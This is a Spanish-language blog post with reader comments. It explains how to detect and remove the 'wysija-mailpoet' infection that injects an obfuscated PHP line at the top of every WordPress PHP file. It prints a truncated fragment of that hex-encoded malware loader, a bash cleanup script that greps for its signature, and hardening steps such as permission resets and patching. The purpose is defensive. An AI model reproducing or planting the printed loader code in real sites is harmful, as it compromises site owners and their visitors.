¿Site hackeado? – Desinfección

Siempre se habla de la inseguridad de WordPress y la verdad es que hay que Wordpress Hacked - Clean and protectconfigurarlo bien para evitar ser hackeado en la medida de lo posible. Hay plugins que escanean la instalación de WordPress analizando cambios en los ficheros (un ejemplo es Sucuri Security), dándote información de optimizaciones para una mayor seguridad, etc. Si se tiene bien configurado el WordPress y te preocupas por tener bien actualizado el sistema, para evitar agujeros de seguridad que faciliten la labor al atacante, es difícil que sea hackeado. Aún así, podría llegar a pasaros ya que constantemente se descubren nuevos fallos de seguridad y técnicas que podrían comprometer vuestro blog o página, hay que estar siempre al día por ello.


Como comentamos, hay ocasiones en que por despiste, descuido o incluso teniendo bien configurado el WordPress y protegido en la medida de lo posible y tus conocimientos, el atacante logra modificar tu instalación logrando su objetivo. Normalmente si la modificación esta bien hecha y no trata de acabar con la web, no notaremos nada salvo quizás, una ralentización o falta de respuesta ocasional por lo que es muy difícil de detectar, a menos que tengáis de antemano plugins o herramientas que monitorizen los ficheros del WordPress.

Vamos a pasar pues a un caso concreto (wysija-mailpoet):

Todos los ficheros PHP de WordPress tienen en la primera linea una linea extraña, similar a:

...if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $bqrdwxkbia = '2f#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x78277878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x782:5297e:56-%x5c%x7878r.985:52985-t.98]K4]65]D5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5x5c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSV5c%x78257-K)fujs%x5c%x78#%x5c%x782f#%x5c%x7825#%x5c%x782f#o]#%m%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<+x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7824-%x5c%x7824b!>!%x]88y]27]28y]#%x5c%x782fr%x5c%x7825%x5c%x7825-#1GO%x5c%x7x5c%x787f_*#[k2%x5c%x785c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnb160%x28%42%x66%152%x66%147%x67%42%x2c%163%x74%1627825h>#]y31]278]y3e]81]K78:56985:6197g:756<#o]1%x5c%x782f20QUUI7jsv%x5c%x78257UFHfgg($n){return chr(ord($n)-1);} @error_repo%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7825z>3<!fmtf7fw6*%x5c%x787f_*#fmjgk4%x5c%x7860{6~%x787f_*#ujojRk3%x5c%x7860{666~6%x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*!|%{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!osx5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x7825b1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x52qj%x5c%x7825)hopm3qjA)4985-rr.93e:5597f-s.973:8297f%57%x65","%x65%166%x61%154%x28%151%x6d%160%x6c%157%x64%145%x28%141,*j%x5c%x7825-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hudovg<~%x5c%x7824<!%x5c%x7825o:!>!5c%x78256<pd%x5c%x7825w6Z6<.3%x5c%x7860hA%x5c%%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**mpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*#cd2bg<!gps)%x5c%x7825j:>1<%x5c%x7825j:x7825j>1<%x5c%x78\142\x71\162\x64\167\x78\153\x62\151\x61\51\x29\51\x3b\40\x2f\52\x20\144\x63\145\x6b\142\x6d\151\x7a\141\x72\40\x2a\57\x20"; $pnzewsvbvw=substr($bqrdwxkbia,(54629-44516),(45-33)); $pnzewsvbvw($wngtpqemdp, $mwgebagebq, NULL); $pnzewsvbvw=$mwgebagebq; $pnzewsvbvw=(506-385); $bqrdwxkbia=$pnzewsvbvw-1;...

Si es así, habéis sido hackeado por “wysija-mailpoet”. Un síntoma que podéis haber notado es que al entrar en la sección de Plugins de vuestra administración de WordPress, los plugins se desactivan todos, indicando que tienen algo mal en su cabecera. Esto es así ya que todo plugin en WordPress empieza por un comentario indicando los datos del plugin y no por lineas de código PHP que ejecuten acciones.

Nota: No entréis en tus plugins si sospecháis algo para evitar el daño, mejor consultad un fichero PHP cualquiera de WordPress en vuestro servidor para confirmar dicha linea extraña.

Si es el caso, tenéis que reaccionar lo más rápido posible para evitar daños mayores en tu página o blog.

Daño en los plugins

Lo primero es decirte que si ya te pasó lo de los plugins, la BD habrá sido modificada por WordPress al anular los plugins que ha detectado que no son válidos, es decir, todos. La manera de recuperarse de esto es tener:

  • Una copia de la BD de WordPress y restaurar la tabla wp_options. Teneis plugins disponibles para hacer esto, por ejemplo BackUpWordPress, o si no, en caso de no querer un plugin,leeros este otro artículo.
  • Si no dispones de backup de la BD, no podréis volverlos a instalar ya que están realmente instalados pero desactivados completamente. Para solucionar el problema habréis de:
    • Eliminar los plugins, sus carpetas, manualmente del servidor de la carpeta “plugins” del WordPress.
    • Instalar los plugins manualmente otra vez, uno a uno.

Si no teníais los plugins desactivados o si ya lo arreglasteis como os indicamos, no entréis en la sección plugins ya que si no os sucederá lo mismo y perderéis los plugins otra vez.

Limpieza, desinfección

Restore a Hacked WordPress

Para eliminar el problema de raíz, deberíais eliminar dicha linea de todos y cada uno de los ficheros .PHP de vuestro WordPress. Para llevar a cabo esto, os dejamos un script que localiza dicha linea y la elimina de cada uno de los ficheros infectados, dejando intacto el resto del contenido.

Es muy sencillo de usar el script, tiene dos parámetros:

  • El primer parámetro es el directorio a limpiar.
  • El segundo parámetro es opcional, si solo queremos comprobar si tenemos ficheros infectados, sin limpiar, no indicamos este segundo parámetro. Para que se realice la limpieza ponemos cualquier cosa, por ejemplo: clean

Es decir:

Solo comprobar:

./remove_malware.sh /var/www/wp_path/

Limpiar:

./remove_malware.sh /var/www/wp_path/ clean

Os dejamos a continuación el script (también podeis descargarlo aquí):

#!/bin/bash
#
# This script remove malware of PHP files.
#
# In this case it will remove some malicious code
# from all WordPress PHP files that is at top of
# every PHP file.
#
# The string at the top of every file is:
#
# ... if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { 
# $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\
# 105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,
# "\x6d\16 ...
# 
# (PHP headers, and mostly all of the line, have been 
# removed to avoid anti-virus think the script is a virus)
#
# This script tries to find the string inside $_SERVER
# of the above line at the top of the files to determine
# if the file is infected. If you run the script and
# nothing seems to be infected but you suspect and you
# want to be sure, just open any PHP of WordPress and
# check if the malicious line code is present. If is
# present but the script did not detect, it is because
# the content inside $_SERVER may be diferent.
# In these cases, just replace in this script the string
# in the -e parameter of grep line with the content of
# $_SERVER found in your PHP (remember to escape
# the \ with \\\\) and run again this removal script.
#
#
# JavocSoft 2014
#
if [[ -z "$1" ]]; then
 echo "Directory where to find is required."
else
 grep -rnwl $1 --include \*.php -e "\\\\x48\\\\124\\\\x54\\\\120\\\\x5f\\\\125\\\\x53\\\\105\\\\x52\\\\137\\\\x41\\\\107\\\\x45\\\\116\\\\x54" | while read -r filename ; do
if [[ ! -z "$2" ]]; then
 echo "Found file $filename. Cleaning..."
 awk 'BEGIN {matches=0} matches < 1 && /1/ { sub(/^.*<?php/,"<?php"); matches++ } { print $0 }' $filename > $filename.purged
 mv $filename $filename.bck
 mv $filename.purged $filename
 else
 echo "Found file $filename."
 fi
done
 echo "Done."
fi

Una vez desinfectéis vuestro WordPress, no olvidéis unos consejos:

  • Pasar el script de desinfección por toda la carpeta web (/var/www), por si acaso el código malicioso se ha extendido a todos los PHP de vuestro servidor. Esto es muy muy probable que haya ocurrido.
  • Revisar las actualizaciones del sistema e instalarlas. Deberíamos protegernos , las últimas concretamente son:
    • Heartbleed. Tenéis explicada la vulnerabilidad aquí. Podéis testear si padecéis de este problema aquí. Para solucionarlo basta con actualizar OpenSSL en vuestros sistemas.
    • Shellshock. La tenéis explicada aquí. Para solucionarlo basta con que actualicéis vuestro sistema.
  • Poner el usuario/grupo correcto como propietario de los ficheros de WordPress. También corregir los permisos de los directorios y ficheros de WordPress como ha de ser ya que estos pueden haber sido alterados. Para ello, ejecuta lo siguiente:
    • Establecer el usuario de Apache a la carpeta de WordPress (el usuario puede ser “apache”, “www-data”, “httpd”, etc. Según la distrbución):
      chown -R apache:apache <ruta_a_tu_carpeta_wordpress>
    • Para restablecer los permisos de los directorios:
      find /<ruta_a_tu_carpeta_wordpress> -type d -exec chmod 755 {} \;
    • Para restablecer los permisos de los ficheros:
      find /<ruta_a_tu_carpeta_wordpress> -type f -exec chmod 644 {} \;
    • Establecer el permiso de escritura al grupo para el directorio WP-CONTENT:
      find /<ruta_a_tu_carpeta_wordpress>/wp-content -type d -exec chmod 775 {} \;
  • Revisar los usuarios activos de WordPress, sobre todo aquellos con permisos de administrador. Lo conveniente sería purgar aquellos factibles de ser bots y/ó usuarios administrador desconocidos. Existen plugins de limpieza de usuarios, por ejemplo Inactive User Deleter que va muy bien. El objetivo es estar seguros de que los usuarios dados de alta no sean bots y no existan usuarios administradores sin control.
  • Reforzar la seguridad en vuestro WordPress controlando la instalación y sus carpetas. Recomendamos un plugin que es de pago pero cuyas funcionalidades gratuitas son suficientes, se trata de Sucuri Security, la sección “Hardening” muy recomendable.
  • Analizar como fue infectado vuestro servidor para que os pueda volver a pasar.
  • Si fuisteis infectados y lograsteis eliminar la infección, podrían quedar ficheros de backup con extensión .bck o ficheros PHP extraños, por ejemplo en la carpeta “uploads” del WordPress. Revisad bien por estos ficheros y carpetas para, aunque no hagan daño ya, eliminar toda traza de código malicioso. Este punto es difícil porque podéis encontraros con ficheros .php con nombre verosímiles pero en carpetas que no tocan o ficheros con nombre creíble pero que no son del WordPress en realidad. Esto no hace daño pero si podéis, dedicad un mínimo de tiempo a revisar por encima la carpeta web (/var/www ó la que toque en vuestro sistema).
  • Es buena práctica también desinstalar los temas y plugins que no uses realmente.

Esperamos que os sea de ayuda este post pero que nunca lo tengáis que poner en práctica en vuestro site, web y/ó WordPress, excepto los consejos dados, ya que ello será buena señal.

 

Un saludo,

 

1 estrella2 estrellas3 estrellas4 estrellas (3 votes, average: 4.00 out of 4)
Loading...

10 comments

  1. Por fin doy con un sitio que trata mi problema concreto y con las consecuencias de los plugins.
    Perdona mi ignorancia, pero entiendo todo pero no se como hacer para ejecutar el script. En mi caso, que tengo un hosting donde puedo alojar varios dominios, tengo todo hecho un desastre, tengo que pasarlo por todo. ¿Tengo que ir uno a uno, o lo ejecuto, cuando sepa, en el directorio raiz? Gracias por adelantado.

    1. Hola, siento hoy lo de tu hosting.

      Para ejecutar el script primero has de hacerlo primero ejecutable en tu sistema, para ello, haz un

      “chmod u+x remove_malware.sh” (sin las comillas).

      Una vez lo tengas como ejecutable, ve al directorio donde lo tengas y ejecuta

      “./remove_malware.sh /var/www/wp_path/” (sin las comillas) para ver si detecta la infección. Si te da positivo, ejecuta “./remove_malware.sh /var/www/wp_path/ clean” para que limpie todos los PHP.

      wp_path es el directorio donde tengas el WordPress aunque lo mejor sería que lo ejecutaras con la carpeta www de tu server ya que es probable que tengas la infección propagada en todos tus PHP, no solo de WordPress.

      Un saludo y ánimo!!

      1. Hola,

        me sucede el mismo problema. Solo que no entendí cómo ejecutar el script a pesar de leer esta respuesta. Trabajo desde Filezilla. ¿Dónde pongo esto “chmod u+x remove_malware.sh”?

        ¿Me podrían ayudar? Se los agradecería muchísimo.

        1. Hola,

          Si usas el filezilla puedes cambiar los permisos del script haciendo clic derecho sobre el fichero y seleccionando “Permisos del archivo”, marcas la opción “Ejecutar” y aceptas.

          Lo único que has de ejecutar el archivo y para eso has de conectarte mediante ssh. Aquí te dejo un enlace bastante aclarativo de lo que es el SSH y como utilizarlo, http://www.aemilius.net/ayuda/articulos/acceso-ssh-ssl-secure-shell-telnet-putty.html. Un saludo y animos!

Leave a Reply

Your email address will not be published. Required fields are marked *